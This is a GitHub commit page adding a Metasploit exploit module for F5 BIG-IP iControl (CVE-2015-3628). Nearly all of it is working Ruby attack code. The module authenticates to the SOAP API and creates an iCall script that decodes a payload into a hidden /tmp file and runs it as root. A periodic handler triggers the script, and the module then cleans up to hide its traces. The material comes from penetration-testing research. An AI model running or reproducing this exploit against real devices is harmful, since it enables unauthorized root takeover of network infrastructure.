Skip to content

Commit 8d1f584

Browse files
committed
Land rapid7#6228, @m0t's module for F5 CVE-2015-3628
2 parents fc16a90 + ae3d65f commit 8d1f584

File tree

1 file changed

+283
-0
lines changed

1 file changed

+283
-0
lines changed
Lines changed: 283 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,283 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'nokogiri'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
15+
STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
16+
LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
17+
18+
def initialize(info = {})
19+
super(
20+
update_info(
21+
info,
22+
'Name' => "F5 iControl iCall::Script Root Command Execution",
23+
'Description' => %q{
24+
This module exploits an authenticated privilege escalation
25+
vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
26+
other F5 devices). This requires valid credentials and the Resource
27+
Administrator role. The exploit should work on BIG-IP 11.3.0
28+
- 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
29+
for more details)
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' =>
33+
[
34+
'tom', # Discovery, Metasploit module
35+
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
36+
],
37+
'References' =>
38+
[
39+
['CVE', '2015-3628'],
40+
['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
41+
['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
42+
],
43+
'Platform' => ['unix'],
44+
'Arch' => ARCH_CMD,
45+
'Targets' =>
46+
[
47+
['F5 BIG-IP LTM 11.x', {}]
48+
],
49+
'Privileged' => true,
50+
'DisclosureDate' => "Sep 3 2015",
51+
'DefaultTarget' => 0))
52+
53+
register_options(
54+
[
55+
Opt::RPORT(443),
56+
OptBool.new('SSL', [true, 'Use SSL', true]),
57+
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
58+
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
59+
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
60+
])
61+
register_advanced_options(
62+
[
63+
OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
64+
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
65+
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
66+
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
67+
])
68+
end
69+
70+
def setup
71+
file = datastore['FILENAME']
72+
file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
73+
@payload_path = ::File.join(datastore['PATH'], file)
74+
super
75+
end
76+
77+
def build_xml
78+
builder = Nokogiri::XML::Builder.new do |xml|
79+
xml.Envelope do
80+
xml = xml_add_namespaces(xml)
81+
xml['soapenv'].Header
82+
xml['soapenv'].Body do
83+
yield xml
84+
end
85+
end
86+
end
87+
builder.to_xml
88+
end
89+
90+
def xml_add_namespaces(xml)
91+
ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
92+
xml.doc.root.namespace = ns
93+
xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
94+
xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
95+
xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
96+
xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
97+
xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
98+
xml
99+
end
100+
101+
def send_soap_request(pay)
102+
res = send_request_cgi(
103+
'uri' => normalize_uri(target_uri.path),
104+
'method' => 'POST',
105+
'data' => pay,
106+
'username' => datastore['USERNAME'],
107+
'password' => datastore['PASSWORD']
108+
)
109+
if res
110+
return res
111+
else
112+
vprint_error('No response')
113+
end
114+
false
115+
end
116+
117+
def create_script(name, cmd)
118+
create_xml = build_xml do |xml|
119+
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
120+
xml.scripts(STRING_ATTRS) do
121+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
122+
xml.item name
123+
end
124+
xml.definitions(STRING_ATTRS) do
125+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
126+
xml.item cmd
127+
end
128+
end
129+
end
130+
send_soap_request(create_xml)
131+
end
132+
133+
def delete_script(script_name)
134+
delete_xml = build_xml do |xml|
135+
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
136+
xml.scripts(STRING_ATTRS) do
137+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
138+
xml.item script_name
139+
end
140+
end
141+
end
142+
print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
143+
res
144+
end
145+
146+
def script_exists?(script_name)
147+
exists_xml = build_xml do |xml|
148+
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
149+
end
150+
res = send_soap_request(exists_xml)
151+
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
152+
end
153+
154+
def create_handler(handler_name, script_name)
155+
print_status("Creating trigger #{handler_name}")
156+
handler_xml = build_xml do |xml|
157+
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
158+
xml.handlers(STRING_ATTRS) do
159+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
160+
xml.item handler_name
161+
end
162+
xml.scripts(STRING_ATTRS) do
163+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
164+
xml.item script_name
165+
end
166+
xml.intervals(LONG_ATTRS) do
167+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
168+
# we set this to run once every 24h, but because there is no
169+
# start/end time it will run once, more or less immediately, and
170+
# again 24h from now, but by that point hopefully we will have
171+
# cleaned up and the handler/script/etc are gone
172+
xml.item 60 * 60 * 24
173+
end
174+
end
175+
end
176+
res = send_soap_request(handler_xml)
177+
if res
178+
if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
179+
true
180+
else
181+
print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
182+
false
183+
end
184+
else
185+
print_error("No response to trigger creation")
186+
false
187+
end
188+
end
189+
190+
def delete_handler(handler_name)
191+
delete_xml = build_xml do |xml|
192+
xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
193+
xml.handlers(STRING_ATTRS) do
194+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
195+
xml.item handler_name
196+
end
197+
end
198+
end
199+
200+
print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))
201+
res
202+
end
203+
204+
def handler_exists?(handler_name)
205+
handler_xml = build_xml do |xml|
206+
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
207+
end
208+
res = send_soap_request(handler_xml)
209+
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
210+
end
211+
212+
def check
213+
# strategy: we'll send a create_script request, with empty name:
214+
# if everything is ok, the server return a 500 error saying it doesn't like empty names
215+
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
216+
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
217+
# any other response is considered not vulnerable
218+
res = create_script('', '')
219+
if res && res.code == 500 && res.body =~ /path is empty/
220+
return Exploit::CheckCode::Appears
221+
elsif res && res.code == 401
222+
print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")
223+
return Exploit::CheckCode::Unknown
224+
else
225+
return Exploit::CheckCode::Safe
226+
end
227+
end
228+
229+
def exploit
230+
# phase 1: create iCall script to create file with payload, execute it and remove it.
231+
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
232+
cmd = %(exec /bin/sh -c "#{shell_cmd}")
233+
234+
arg_max = datastore['ARG_MAX']
235+
if shell_cmd.size > arg_max
236+
print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\
237+
"or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
238+
return false
239+
end
240+
241+
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
242+
print_status("Uploading payload script #{script_name}")
243+
unless (create_script_res = create_script(script_name, cmd))
244+
print_error("No response when uploading payload script")
245+
return false
246+
end
247+
unless create_script_res.code == 200
248+
print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\
249+
"#{create_script_res.code} #{create_script_res.message}")
250+
return false
251+
end
252+
unless script_exists?(script_name)
253+
print_error("Payload script uploaded successfully but script was not found")
254+
return false
255+
end
256+
register_file_for_cleanup @payload_path
257+
258+
# phase 2: create iCall Handler, that will actually run the previously created script
259+
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
260+
unless create_handler(handler_name, script_name)
261+
delete_script(script_name)
262+
return false
263+
end
264+
unless handler_exists?(handler_name)
265+
print_error("Trigger created successfully but was not found")
266+
delete_script(script_name)
267+
return false
268+
end
269+
print_status('Waiting for payload to execute...')
270+
271+
# if our payload has not been successfully executed just yet, wait
272+
# until it does or give up
273+
slept = 0
274+
until session_created? || slept > datastore['SESSION_WAIT']
275+
Rex.sleep(1)
276+
slept += 1
277+
end
278+
279+
print_status('Trying cleanup...')
280+
delete_script(script_name)
281+
delete_handler(handler_name)
282+
end
283+
end

0 commit comments

Comments
 (0)